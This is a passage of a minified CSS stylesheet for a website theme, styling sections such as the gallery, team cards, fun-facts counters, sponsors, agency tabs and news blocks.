.live-section-two .auto-container { display: flex; align-items: center; justify-content: space-between; } .live-section-two .sec-title-two { max-width: 557px; margin-bottom: 0; } .live-section-two .sec-title-two h2 { color: #ffffff; font-weight: bold; font-size: 60px; margin-top: 10px; } .live-section-two .button-block>a { width: 120px; height: 116px; display: flex; align-items: center; justify-content: center; text-align: center; color: #ffffff; font-size: 26px; background-color: var(--thm-base); transition: all 500ms ease; } .live-section-two .button-block>a:hover { background-color: #fff; color: var(--thm-black); } /*** ==================================================================== 15. We DO Section ==================================================================== ***/ .we-do-section { position: relative; padding: 240px 0px 90px; background: #ffffff url(../images/background/pattern-2.png) left top repeat; } .we-do-section .sec-title { margin-bottom: 40px; } .we-do-section .featured-block { position: relative; display: block; padding-left: 230px; min-height: 117px; margin-bottom: 40px; } .we-do-section .featured-block .image { position: absolute; left: 0; top: 0; width: 200px; } .we-do-section .featured-block .image img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); border-radius: 7px; } .we-do-section .featured-block .text { position: relative; top: -5px; display: block; font-size: 16px; line-height: 34px; font-weight: 400; margin-bottom: 32px; } .we-do-section .left-col { position: relative; margin-bottom: 30px; } .we-do-section .left-col .inner { position: relative; display: block; padding-right: 67px; } .we-do-section .right-col { position: relative; margin-bottom: 30px; } .we-do-section .right-col .inner { position: relative; display: block; } .we-do-section .progress-box { position: relative; display: block; width: 100%; font-family: var(--thm-font); } .we-do-section .progress-box .bar-title { position: relative; font-size: 20px; line-height: 1.1em; text-transform: uppercase; letter-spacing: 1px; margin-bottom: 10px; } .we-do-section .progress-box .bar { position: relative; width: 100%; height: 7px; background: #ffffff; border-radius: 4px; } .we-do-section .progress-box .bar-inner { position: relative; display: block; width: 0px; height: 7px; background: var(--thm-base); border-radius: 4px; transition: all 1500ms ease; } .we-do-section .progress-box .count-box { position: absolute; right: 0px; margin-right: -40px; bottom: 18px; width: 40px; height: 22px; background: var(--thm-black); color: #ffffff; line-height: 22px; font-size: 14px; font-weight: 500; border-radius: 5px; text-align: center; opacity: 0; transition: all 500ms ease; } .we-do-section .progress-box .counted .count-box { opacity: 1; } .we-do-section .progress-box .count-box:after { content: ""; position: absolute; left: 0; top: 100%; margin-top: -5px; border: 5px solid transparent; border-top: 5px solid var(--thm-black); border-left: 5px solid var(--thm-black); } .accordion-box { position: relative; } .accordion-box .block { position: relative; background: #ffffff; border-radius: 7px; overflow: hidden; margin-bottom: 16px; -ms-box-shadow: 0px 0px 40px 5px rgba(0, 0, 0, 0.03); box-shadow: 0px 0px 40px 5px rgba(0, 0, 0, 0.03); } .accordion-box .block.active-block { background-color: #ffffff; -ms-box-shadow: 0px 0px 40px 5px rgba(0, 0, 0, 0.05); box-shadow: 0px 0px 40px 5px rgba(0, 0, 0, 0.05); } .accordion-box .block:last-child { margin-bottom: 0; } .accordion-box .block .acc-btn { position: relative; font-size: 20px; line-height: 32px; font-weight: 400; font-size: 20px; text-transform: uppercase; letter-spacing: 1px; cursor: pointer; padding: 20px 40px; padding-right: 60px; color: var(--thm-black); transition: all 500ms ease; font-family: var(--thm-font); } .accordion-box .block .acc-btn .count { color: var(--thm-base); padding-right: 3px; } .accordion-box .block .acc-btn:before { position: absolute; right: 35px; top: 20px; height: 30px; font-size: 15px; font-weight: 600; color: var(--thm-base); line-height: 30px; content: "\f116"; font-family: "Flaticon"; transition: all 500ms ease; } .accordion-box .block .acc-btn.active { background-color: #ffffff; } .accordion-box .block .acc-btn.active:before { color: var(--thm-black); content: "\f104"; } .accordion-box .block .acc-content { position: relative; display: none; } .accordion-box .block .content { position: relative; padding: 0px 40px 30px; } .accordion-box .block .acc-content.current { display: block; } .accordion-box .block .content .text { display: block; position: relative; top: 0px; display: block; } /*** ==================================================================== 16. Gallery Section ==================================================================== ***/ .gallery-section { position: relative; padding: 120px 0 90px; } .gallery-section .upper-row { position: relative; } .gallery-section .upper-row .sec-title { position: relative; float: left; } .gallery-section .upper-row .filters { position: relative; float: right; padding-top: 10px; } .gallery-section .more-box { position: relative; display: block; padding-top: 20px; text-align: center; padding-bottom: 10px; } /*=== Mixitup Gallery ===*/ .mixitup-gallery .filters { position: relative; margin-bottom: 40px; } .mixitup-gallery .filters .filter-tabs { position: relative; display: block; } .mixitup-gallery .filters li { position: relative; display: inline-block; vertical-align: top; font-size: 24px; line-height: 40px; padding: 0px 0px; cursor: pointer; color: var(--thm-text); font-weight: 300; margin: 0 0px 10px 30px; text-transform: uppercase; letter-spacing: 1px; background: none; transition: all 300ms ease; font-family: var(--thm-font); } .mixitup-gallery .filters li:before { content: ""; position: absolute; left: 0; bottom: 0; width: 100%; border-bottom: 2px solid var(--thm-base); transform: scaleX(0); transform-origin: left; transition: all 300ms ease; } .mixitup-gallery .filters.centered li { margin: 0px 15px 10px; } .mixitup-gallery .filters li sup { position: absolute; right: 0; top: 3px; font-size: 16px; opacity: 0; visibility: hidden; transition: all 300ms ease; } .mixitup-gallery .filters .filter.active { color: var(--thm-black); font-weight: 400; padding-right: 20px; } .mixitup-gallery .filters .filter.active sup { opacity: 1; visibility: visible; } .mixitup-gallery .filters li.active:before { transform: scaleX(1); } .mixitup-gallery .gallery-item-two { display: none; } .mix { display: none; } .gallery-item { position: relative; margin-bottom: 30px; } .gallery-item .inner-box { position: relative; border-radius: 7px; overflow: hidden; } .gallery-item .inner-box .image { position: relative; border-radius: 7px; } .gallery-item .inner-box .image img { display: block; width: 100%; height: auto; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); transition: all 300ms ease; border-radius: 7px; } .gallery-item .inner-box:hover .image img { -webkit-filter: grayscale(0%); -ms-filter: grayscale(0%); -moz-filter: grayscale(0%); filter: grayscale(0%); } .gallery-item .cap-box { position: absolute; left: 20px; right: 20px; bottom: 20px; color: #ffffff; opacity: 0; transform: translateY(200px); transition: all 500ms ease; } .gallery-item .inner-box:hover .cap-box { opacity: 1; transform: translateY(0px); } .gallery-item .cap-box .cap-inner { position: relative; display: block; padding: 25px 35px; background: var(--thm-black); border-radius: 7px; } .gallery-item a.overlay-box { position: absolute; left: 0; top: 0; width: 100%; height: 100%; } .gallery-item .cap-box .cat { position: relative; display: block; font-size: 14px; text-transform: uppercase; letter-spacing: 1px; font-weight: 400; font-family: var(--thm-font); } .gallery-item .cap-box .cat span { position: relative; display: inline-block; vertical-align: middle; padding-right: 48px; } .gallery-item .cap-box .cat span:before { content: ""; position: absolute; right: 0; top: 50%; margin-top: -1px; width: 38px; border-bottom: 2px solid var(--thm-base); } .gallery-item .cap-box .title { position: relative; display: block; } .gallery-item .cap-box h5 { font-size: 22px; text-transform: uppercase; letter-spacing: 1px; font-weight: 400; margin: 0; } .gallery-item .cap-box h5 a { color: #ffffff; } .gallery-item .cap-box h5 a:hover { text-decoration: underline; } .gallery-block-three { background-color: #eff1f4; padding-top: 120px; padding-bottom: 90px; } .gallery-item-three { margin-bottom: 30px; } .gallery-item-three>img { width: 100%; } .gallery-item-three { position: relative; overflow: hidden; } .gallery-item-three__content { position: absolute; top: 0; left: 0; right: 0; bottom: 0; margin: 30px; display: flex; justify-content: center; align-items: center; text-align: center; flex-direction: column; padding: 30px; transform: rotateX(90deg); perspective: 370px; transition: transform 500ms ease; } .gallery-item-three:hover .gallery-item-three__content { transform: rotateX(0); } .gallery-item-three__content::before { content: ""; position: absolute; top: 0; left: 0; right: 0; bottom: 0; background-color: var(--thm-base); opacity: 0.9; } .gallery-item-three__content p { margin: 0; text-transform: uppercase; letter-spacing: 0.2em; font-size: 12px; font-weight: 600; color: #ffffff; position: relative; } .gallery-item-three__content h3 { margin: 0; color: #fff; font-size: 34px; line-height: 36px; font-weight: 800; position: relative; } .gallery-item-three__content h3 a { color: inherit; } /*** ==================================================================== 17. Fun Facts Section ==================================================================== ***/ .facts-section { position: relative; padding: 0px 0px 290px; background: #1c1e22; color: #ffffff; z-index: 2; } .facts-section.alternate { background: var(--thm-black); padding-bottom: 50px; } .facts-section .jarallax-img, .facts-section .image-layer { position: absolute; left: 0; top: 0; width: 100%; height: 100%; background-repeat: no-repeat; background-position: center center; background-size: cover; background-attachment: fixed; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); opacity: 0.3; } .facts-section.alternate .image-layer { display: none; } .fact-counter { position: relative; } .fact-counter .column { position: relative; text-align: center; margin-bottom: 70px; } .fact-counter .column .inner { position: relative; padding: 120px 0px 0px; } .fact-counter .column .inner:before { position: absolute; content: ""; left: -15px; right: -15px; top: 0; min-width: 100%; border-top: 4px solid var(--thm-base); transform: scaleX(0); transition: all 500ms ease; } .fact-counter .column:hover .inner:before { transform: scaleX(1); } .fact-counter .column .inner:after { position: absolute; content: ""; right: -15px; top: 0; bottom: 7px; border-right: 1px solid rgba(255, 255, 255, 0.15); } .fact-counter .column:last-child .inner:after { display: none; } .fact-counter .column .inner .content { position: relative; text-align: center; } .fact-counter .column .inner .count-outer { position: relative; font-weight: 400; font-size: 80px; line-height: 1em; letter-spacing: 0px; display: block; font-family: var(--thm-font); } .fact-counter .column .inner .counter-title { position: relative; font-size: 18px; font-weight: 400; color: #fff; letter-spacing: 1px; font-family: var(--thm-font); text-transform: uppercase; } /*** ==================================================================== 18. We DO Section ==================================================================== ***/ .trusted-section { position: relative; padding: 0px 0px 70px; background: none; z-index: 2; } .trusted-section .outer-container { position: relative; margin-top: -240px; } .trusted-section .row { margin: 0 -4px; } .trusted-section .left-col { position: relative; padding: 0 4px; margin-bottom: 30px; } .trusted-section .left-col .inner { position: relative; display: block; } .trusted-section .col-header { position: relative; text-align: center; } .trusted-section .col-header .header-inner { position: relative; padding: 75px 50px 20px; min-height: 240px; background: var(--thm-base); font-weight: 400; font-size: 40px; line-height: 1.2em; text-transform: uppercase; letter-spacing: 0px; color: var(--thm-black); border-radius: 7px 7px 0px 0px; font-family: var(--thm-font); } .trusted-section .col-header .header-inner:before { content: ""; position: absolute; left: 0; bottom: -39px; width: 50px; height: 40px; background: url(../images/icons/curve-down-left.png) left top no-repeat; } .trusted-section .features { position: relative; } .trusted-section .feature { position: relative; display: block; padding: 55px 0px; padding-left: 90px; min-height: 170px; border-bottom: 1px solid #e9ebee; } .trusted-section .feature .count { position: absolute; left: 0; top: 55px; width: 60px; height: 60px; text-align: center; background: rgba(var(--thm-base-rgb), 0.2); padding: 10px; line-height: 40px; padding-top: 12px; font-size: 30px; letter-spacing: 1px; color: var(--thm-base); text-transform: uppercase; border-radius: 50%; transition: all 500ms ease; font-family: var(--thm-font); } .trusted-section .feature:hover .count { background-color: var(--thm-black); color: #fff; } .trusted-section .feature h5 { font-weight: 400; margin: 0; line-height: 1.15em; color: var(--thm-black); margin-bottom: 10px; } .trusted-section .feature .sub-text { font-weight: 400; font-size: 20px; letter-spacing: 0.1em; color: var(--thm-text); text-transform: uppercase; line-height: 1.25em; font-family: var(--thm-font); } .trusted-section .right-col { position: relative; padding: 0px 4px; margin-bottom: 30px; z-index: 3; } .trusted-section .right-col .inner { position: relative; display: block; min-height: 260px; padding: 115px 0px 0px 110px; background: #ffffff; border-radius: 7px 0px 0px 0px; } .trusted-section .right-col .inner:before { content: ""; position: absolute; left: 100%; top: 0; margin-left: -1px; width: 2000px; height: 100%; background: #ffffff; } .trusted-section .featured-block-two { position: relative; display: block; padding-left: 276px; min-height: 170px; } .trusted-section .featured-block-two .image { position: absolute; left: 0; top: 0; width: 250px; } .trusted-section .featured-block-two .image img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); border-radius: 7px; } .trusted-section .featured-block-two .text { position: relative; top: -5px; display: block; line-height: 1.5em; } .trusted-section .featured-block-two .text ul { position: relative; } .trusted-section .featured-block-two .text ul li { position: relative; line-height: 2.125em; margin-bottom: 12px; padding-left: 30px; } .trusted-section .featured-block-two .text ul li:before { content: "\f107"; font-family: "Flaticon"; position: absolute; left: 0; top: -1px; color: var(--thm-base); font-weight: 400; font-size: 18px; } /*** ==================================================================== 19. Team Section ==================================================================== ***/ .team-section { position: relative; padding: 120px 0px 90px; background: none; z-index: 2; } .team-section.no-padd-top { padding-top: 0; } .team-section .carousel-box { position: relative; margin: 0 -5px; } .team-block { position: relative; margin-bottom: 30px; } .team-block .inner-box { position: relative; display: block; text-align: center; } .team-block .image-box { position: relative; display: block; overflow: hidden; } .team-block .image-box img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); transition: all 500ms ease; border-radius: 7px; } .team-block .inner-box:hover .image-box img { -webkit-filter: grayscale(0%); -ms-filter: grayscale(0%); -moz-filter: grayscale(0%); filter: grayscale(0%); } .team-block .image-box .social-links { position: absolute; left: 0; bottom: 35px; width: 100%; padding: 0px 5px; opacity: 0; transform: translateY(100px); transition: all 500ms ease; } .team-block .inner-box:hover .social-links { opacity: 1; transform: translateY(0); } .team-block .image-box .social-links li { position: relative; display: inline-block; vertical-align: top; margin: 0px 3px; } .team-block .image-box .social-links li a { position: relative; display: block; width: 44px; height: 44px; line-height: 44px; font-size: 16px; background: #ffffff; color: var(--thm-black); border-radius: 50%; transition: all 500ms ease; } .team-block .image-box .social-links li a span { vertical-align: middle; line-height: 44px; } .team-block .image-box .social-links li a:hover { background: var(--thm-base); } .team-block .lower-box { position: relative; display: block; padding: 30px 0px 0; } .team-block .lower-box .designation { position: relative; display: block; font-size: 16px; text-transform: uppercase; letter-spacing: 1px; line-height: 1.2em; font-weight: 400; color: var(--thm-text); padding-top: 5px; font-family: var(--thm-font); } .team-block .lower-box h5 { font-size: 24px; text-transform: uppercase; letter-spacing: 1px; line-height: 1.05em; font-weight: 400; margin: 0; } .team-block .lower-box h5 a { color: var(--thm-black); } .team-block .lower-box h5 a:hover { text-decoration: underline; } .team-section .owl-theme .owl-nav { position: relative; width: 100%; text-align: center; padding-top: 40px; display: none; } .team-section .owl-theme .owl-dots { position: relative; width: 100%; text-align: center; padding-top: 30px; } .team-section .owl-theme .owl-dots .owl-dot { position: relative; display: inline-block; vertical-align: top; margin: 0px 3px; } .team-section .owl-theme .owl-dots .owl-dot span { position: relative; display: block; width: 10px; height: 10px; background: #d3d3d4; border: 2px solid #d3d3d4; border-radius: 50%; } .team-section .owl-theme .owl-dots .owl-dot.active span { background: #ffffff; border-color: var(--thm-base); } .team-three { padding-top: 120px; padding-bottom: 90px; } .team-three__about-two { background-image: url(../images/background/pattern-2.png); } .team-card-three { margin-bottom: 30px; border-radius: 8px; transition: all 500ms ease; } .team-card-three:hover { box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); } .team-card-three__inner { overflow: hidden; border-radius: 8px; position: relative; } .team-card-three__image img { width: 100%; filter: grayscale(100%); } .team-card-three__hover, .team-card-three__content { border: 1px solid #e9ebee; text-align: center; border-bottom-left-radius: 8px; border-bottom-right-radius: 8px; padding-top: 25px; padding-bottom: 25px; background-color: #fff; transition: opacity 500ms ease, visibility 500ms ease, transform 500ms ease; } .team-card-three__content { opacity: 1; visibility: visible; transform: scale(1, 1); transform-origin: bottom center; } .team-card-three:hover .team-card-three__content { opacity: 0; visibility: hidden; transform: scale(1, 0); } .team-card-three__hover { position: absolute; bottom: 0; left: 0; width: 100%; background-color: #fff; opacity: 0; visibility: hidden; transform: scale(1, 0); transform-origin: bottom center; } .team-card-three:hover .team-card-three__hover { opacity: 1; visibility: visible; transform: scale(1, 1); } .team-card-three__social { display: flex; justify-content: center; align-items: center; text-align: center; } .team-card-three__social a { display: flex; width: 44px; height: 44px; border-radius: 50%; background-color: #f4f5f8; font-size: 16px; color: var(--thm-black); transition: all 500ms ease; margin-top: 15px; justify-content: center; align-items: center; text-align: center; } .team-card-three__social a:hover { background-color: var(--thm-base); color: var(--thm-black); } .team-card-three__social li+li { margin-left: 10px; } .team-card-three__name { margin: 0; text-transform: uppercase; font-size: 24px; color: var(--thm-black); letter-spacing: 0.1em; line-height: 1; } .team-card-three__designation { text-transform: uppercase; color: #686a6f; font-size: 16px; margin: 0; line-height: 1; letter-spacing: 0.1em; margin-top: 10px; font-family: var(--thm-font); } /*** ==================================================================== 20. Parallax Section ==================================================================== ***/ .parallax-section { position: relative; padding: 120px 0px; background: #1c1e22; text-align: center; color: #ffffff; z-index: 1; } .parallax-section .jarallax-img, .parallax-section .image-layer { position: absolute; position: absolute; left: 0; top: 0; width: 100%; height: 100%; background-repeat: no-repeat; background-position: center center; background-size: cover; background-attachment: fixed; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); opacity: 0.3; } .parallax-section .content-box { position: relative; max-width: 870px; margin: 0 auto; } .parallax-section .content-box .icon-box { position: relative; display: block; width: 114px; height: 114px; line-height: 114px; text-align: center; color: var(--thm-black); font-size: 54px; border-radius: 50%; margin: 0 auto 50px; } .parallax-section .content-box .icon-box:before { content: ""; position: absolute; left: -7px; top: 0; display: block; width: 80px; height: 80px; background: #ffffff; opacity: 0.3; border-radius: 50%; } .parallax-section .content-box .icon-box:after { content: ""; position: absolute; left: 0; top: 0; display: block; width: 100%; height: 100%; background: var(--thm-base); z-index: 1; border-radius: 50%; } .parallax-section .content-box .icon-box span { position: relative; z-index: 2; } .parallax-section .content-box h2 { position: relative; display: block; font-size: 70px; line-height: 1em; text-transform: uppercase; color: #ffffff; font-weight: 500; margin-bottom: 0px; } .parallax-section .content-box h2 span { color: var(--thm-base); } /*** ==================================================================== 21. Sponsors Section ==================================================================== ***/ .sponsors-section { position: relative; padding: 100px 0px; background: #ffffff; } .sponsors-section__has-border-top { border-top: 1px solid rgba(255, 255, 255, 0.1); } .sponsors-section__pricing-two { background-color: #f4f5f8; } .sponsors-section__dark { background-color: #1c1e22; } .sponsors-section__one-page { border-bottom: 1px solid #e9ebee; } .sponsors-outer { position: relative; } .sponsors-outer .slide-item { display: block; } .sponsors-outer .image-box { position: relative; display: inline-block; } .sponsors-outer .image-box img { max-width: 100%; width: auto; display: inline-block; transition: all 0.3s ease; -moz-transition: all 0.3s ease; -webkit-transition: all 0.3s ease; -ms-transition: all 0.3s ease; -o-transition: all 0.3s ease; opacity: 0.2; } .sponsors-outer .image-box img:hover { opacity: 1; } .sponsors-outer .owl-dots, .sponsors-outer .owl-nav { position: relative; display: none; } .sponsors-section-four { padding-top: 80px; padding-bottom: 80px; } @media (min-width: 992px) { .sponsors-section-four { padding-top: 120px; padding-bottom: 120px; } } .sponsors-section-four .row { --bs-gutter-y: 30px; } .sponsors-section-four .image-box { background-color: #f4f5f8; border-radius: 8px; transition: all 500ms ease; } .sponsors-section-four .image-box:hover { background-color: var(--thm-black); } .sponsors-section-four .image-box img { -webkit-filter: invert(0%); filter: invert(0%); transition: 500ms ease; } .sponsors-section-four .image-box:hover img { -webkit-filter: invert(100%); filter: invert(100%); } .sponsors-section-four .theme-btn { display: inline-flex; } .sponsors-section-four .content-box { padding-top: 73px; } @media (min-width: 992px) { .sponsors-section-four .content-box { padding-top: 113px; } } .sponsors-section-four .content-box h3 { margin: 0; text-transform: uppercase; color: var(--thm-black); font-size: 40px; line-height: 1em; letter-spacing: 0.1em; margin-bottom: 10px; } @media (min-width: 768px) { .sponsors-section-four .content-box h3 { font-size: 50px; } } @media (min-width: 992px) { .sponsors-section-four .content-box h3 { font-size: 80px; margin-bottom: 40px; } } /*** ==================================================================== 22. Agency Section ==================================================================== ***/ .agency-section { position: relative; padding: 120px 0px 80px; background: #ffffff url(../images/background/pattern-2.png) left top repeat; } .agency-section .sec-title { margin-bottom: 40px; } .agency-section .featured-block { position: relative; display: block; padding-left: 230px; min-height: 117px; margin-bottom: 40px; } .agency-section .featured-block .image { position: absolute; left: 0; top: 0; width: 200px; } .agency-section .featured-block .image img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); border-radius: 7px; } .agency-section .featured-block .text { position: relative; top: -5px; display: block; line-height: 1.7em; letter-spacing: 0.1em; margin-bottom: 32px; } .agency-section .left-col { position: relative; margin-bottom: 30px; } .agency-section .left-col .inner { position: relative; display: block; padding-right: 50px; } .agency-section .right-col { position: relative; margin-bottom: 30px; } .agency-section .right-col .inner { position: relative; display: block; } .tabs-box { position: relative; } .tabs-box .tab-buttons { position: relative; } .tabs-box .tab-buttons .tab-btn { position: relative; display: inline-block; vertical-align: top; cursor: pointer; } .tabs-box .tabs-content { position: relative; } .tabs-box .tabs-content .tab { position: relative; display: none; } .tabs-box .tabs-content .active-tab { display: block; } .default-tabs .tab-buttons .tab-btn { position: relative; line-height: 30px; font-size: 16px; font-weight: 500; color: var(--thm-black); text-align: center; padding: 14px 40px 11px; text-transform: uppercase; margin-bottom: 10px; margin-right: 10px; letter-spacing: 0.07em; border-radius: 7px; font-family: var(--thm-font); transition: all 0.3s ease; } .default-tabs .tab-buttons .tab-btn span { position: relative; display: block; } .default-tabs .tab-buttons .tab-btn:last-child { margin-right: 0; } .default-tabs .tab-buttons .tab-btn:before { content: ""; position: absolute; left: 0; top: 0; width: 100%; height: 2px; background: var(--thm-base); border-radius: 7px; transition: all 0.3s ease; } .default-tabs .tab-buttons .tab-btn.active-btn:before { height: 100%; } .default-tabs .tab-buttons .tab-btn:hover, .default-tabs .tab-buttons .tab-btn.active-btn:hover { color: var(--thm-black); } .default-tabs .tabs-content { position: relative; padding-top: 40px; } .default-tabs .tabs-content .content { position: relative; display: block; opacity: 0; visibility: hidden; transform: translateY(50px); transition: all 0.5s ease; } .default-tabs .tabs-content .active-tab .content { opacity: 1; visibility: visible; transform: translateY(0px); } .default-tabs .tabs-content .text { position: relative; color: var(--thm-text); font-size: 16px; line-height: 34px; } .agency-section .right-col .text { position: relative; color: var(--thm-text); margin-bottom: 50px; } .agency-section .featured-block-two { position: relative; display: block; padding-left: 268px; min-height: 248px; padding-top: 20px; } .agency-section .featured-block-two .image { position: absolute; left: 0; top: 0; width: 242px; border-radius: 50%; } .agency-section .featured-block-two .image img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); border-radius: 50%; } .agency-section .featured-block-two .text { position: relative; top: -5px; display: block; line-height: 1.5em; margin-bottom: 0; } .agency-section .featured-block-two .text ul { position: relative; } .agency-section .featured-block-two .text ul li { position: relative; line-height: 2.125em; margin-bottom: 12px; padding-left: 30px; color: var(--thm-text); } .agency-section .featured-block-two .text ul li:before { content: "\f107"; font-family: "Flaticon"; position: absolute; left: 0; top: -1px; color: var(--thm-base); font-weight: 400; font-size: 18px; } /*** ==================================================================== 23. News Section ==================================================================== ***/ .news-section { position: relative; padding: 120px 0px 90px; } .news-section.alt-bg { background: #ffffff url(../images/background/pattern-2.png) left top repeat; } .news-section .more-box { position: relative; display: block; padding-top: 30px; text-align: center; padding-bottom: 10px; } .news-block { position: relative; margin-bottom: 30px; } .news-block .inner-box { position: relative; display: block; text-align: center; } .news-block .image-box { position: relative; display: block; overflow: hidden; } .news-block .image-box img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); transition: all 500ms ease; border-radius: 7px; } .news-block .inner-box:hover .image-box img { -webkit-filter: grayscale(0%); -ms-filter: grayscale(0%); -moz-filter: grayscale(0%); filter: grayscale(0%); } .news-block .lower-box { position: relative; padding: 0px 20px 0px; } .news-block .post-meta { position: relative; top: -27px; margin: 0 10px -3px; } .news-block .post-meta ul { position: relative; display: block; padding: 10px 5px 0px; background: #ffffff; border-radius: 7px; box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.05); } .news-block .post-meta ul li { position: relative; display: inline-block; vertical-align: middle; margin: 0 10px 10px; font-size: 16px; letter-spacing: 0.1em; text-transform: uppercase; font-family: var(--thm-font); } .news-block .post-meta ul li .far, .news-block .post-meta ul li .fa { position: relative; color: var(--thm-base); font-size: 14px; padding-right: 3px; vertical-align: middle; } .news-block .lower-box h5 { text-transform: uppercase; font-size: 34px; color: var(--thm-black); margin-bottom: 35px; } .news-block .lower-box h5 a { color: var(--thm-black); transition: 500ms; } .news-block .lower-box h5 a:hover { color: var(--thm-base); text-decoration: underline; } .news-block .lower-box .text { position: relative; top: -5px; color: var(--thm-text); display: block; } .news-block .lower-box .link-box { position: relative; margin-top: 20px; } .news-block .lower-box .link-box a { position: relative; display: inline-block; width: 50px; height: 50px; line-height: 50px; text-align: center; font-size: 12px; color: #ffffff; background: #d3d3d4; border-radius: 50%; } .news-block .lower-box .link-box a span { font-weight: 700; vertical-align: middle; } .news-block .lower-box .link-box a:hover { background: var(--thm-base); color: var(--thm-black); } .news-block-two { position: relative; margin-bottom: 40px; } .news-block-two .inner-box { position: relative; display: block; } .news-block-two .image-box { position: relative; display: block; overflow: hidden; } .news-block-two .image-box img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); transition: all 500ms ease; border-radius: 7px; } .news-block-two .inner-box:hover .image-box img { -webkit-filter: grayscale(0%); -ms-filter: grayscale(0%); -moz-filter: grayscale(0%); filter: grayscale(0%); } .news-block-two .lower-box { position: relative; padding: 30px 0px 0px; } .news-block-two .post-meta { position: relative; display: block; } .news-block-two .post-meta ul { position: relative; display: block; } .news-block-two .post-meta ul li { position: relative; display: inline-block; vertical-align: middle; margin: 0 20px 5px 0px; font-size: 16px; letter-spacing: 0.07em; text-transform: uppercase; font-family: var(--thm-font); } .news-block-two .post-meta ul li .far, .news-block-two .post-meta ul li .fa { position: relative; top: -2px; color: var(--thm-base); font-size: 14px; padding-right: 3px; vertical-align: middle; } .news-block-two .lower-box h4 { text-transform: uppercase; font-size: 40px; line-height: 1.1em; color: var(--thm-black); margin-bottom: 30px; } .news-block-two .lower-box h4 a { color: var(--thm-black); transition: all 500ms ease; } .news-block-two .lower-box h4 a:hover { color: var(--thm-base); text-decoration: underline; } .news-block-two .lower-box .text { position: relative; top: -5px; display: block; } .news-block-two .lower-box .link-box { position: relative; margin-top: 20px; } .news-block-two .lower-box .link-box a { position: relative; display: inline-block; text-transform: uppercase; font-size: 20px; color: var(--thm-black); letter-spacing: 1px; font-family: var(--thm-font); } .news-block-two .lower-box .link-box a:before { content: ""; position: absolute; left: 0; bottom: 0; width: 100%; border-bottom: 2px solid var(--thm-base); } .news-block-two .lower-box .link-box a:hover { color: var(--thm-base); } .news-block-two .lower-box .link-box a:hover:before { border-color: var(--thm-black); } .news-block-two .image-box .vid-link { position: absolute; left: 0; top: 0; display: block; width: 100%; height: 100%; z-index: 1; text-align: center; font-size: 24px; color: var(--thm-black); transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; z-index: 3; } .news-block-two .image-box .vid-link .icon { position: absolute; display: block; left: 50%; top: 50%; margin-top: -50px; margin-left: -50px; width: 100px; height: 100px; line-height: 100px; text-align: center; font-size: 24px; color: var(--thm-black); background: var(--thm-base); border-radius: 50%; transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .news-block-two .image-box .vid-link:hover .icon { background: var(--thm-black); color: var(--thm-base); } .news-block-three { position: relative; margin-bottom: 30px; } .news-block-three .inner-box { position: relative; display: block; padding: 50px 50px 40px; background: #f4f5f8; border-radius: 7px; } .news-block-three .quote-icon { position: relative; display: block; top: 30px; font-weight: 400; font-size: 150px; line-height: 0.4em; color: var(--thm-base); margin-bottom: 10px; } .news-block-three .link-icon { position: relative; display: block; font-weight: 400; font-size: 40px; line-height: 1em; color: var(--thm-base); margin-bottom: 15px; } .news-block-three .inner-box h4 { text-transform: uppercase; font-size: 40px; line-height: 1.1em; color: var(--thm-black); font-weight: 400; margin-bottom: 0px; } .news-block-three .inner-box h4 a { color: var(--thm-black); } .news-block-three .inner-box:hover h4 a { color: var(--thm-base); text-decoration: underline; } .news-block-three .inner-box .text { position: relative; top: -5px; display: block; margin: 0; } .news-block-three .over-link { position: absolute; left: 0; top: 0; width: 100%; height: 100%; z-index: 2; } .sidebar-page-container .more-box { position: relative; padding-top: 20px; } /* news two */ .news-two { padding-top: 120px; padding-bottom: 120px; } .news-two .swiper-pagination { position: relative; left: auto; bottom: auto; margin-top: 40px; } .news-two .swiper-container-horizontal>.swiper-pagination-bullets .swiper-pagination-bullet { width: 8px; height: 8px; background-color: var(--thm-black); opacity: 0.2; transition: all 500ms ease; margin-left: 2.5px; margin-right: 2.5px; } .news-two .swiper-pagination span:hover, .news-two .swiper-pagination span.swiper-pagination-bullet-active { opacity: 1 !important; background-color: var(--thm-base) !important; } .news-two__image { margin-bottom: 35px; background-color: var(--thm-base); } .news-two__image>img { width: 100%; transition: 500ms ease; filter: grayscale(0%); opacity: 1; } .news-two__box:hover .news-two__image>img { filter: grayscale(100%); opacity: 0.7; } .news-two__content { text-align: center; } .news-two__content h3 { margin: 0; color: var(--thm-black); font-size: 36px; font-weight: 800; line-height: 1.28; max-width: 466px; margin-left: auto; margin-right: auto; margin-top: 5px; } .news-two__content h3 a { color: inherit; } .news-two__meta { display: flex; align-items: center; justify-content: center; margin-bottom: 0; } .news-two__meta li { font-weight: 600; font-size: 16px; color: var(--thm-base); line-height: 1; } .news-two__meta li a { color: inherit; transition: all 500ms ease; } .news-two__meta li a:hover { color: var(--thm-black); } .news-two__meta li::after { content: "-"; margin-left: 10px; margin-right: 10px; } .news-two__meta li:last-child::after { content: ""; margin: 0; } /*** ==================================================================== 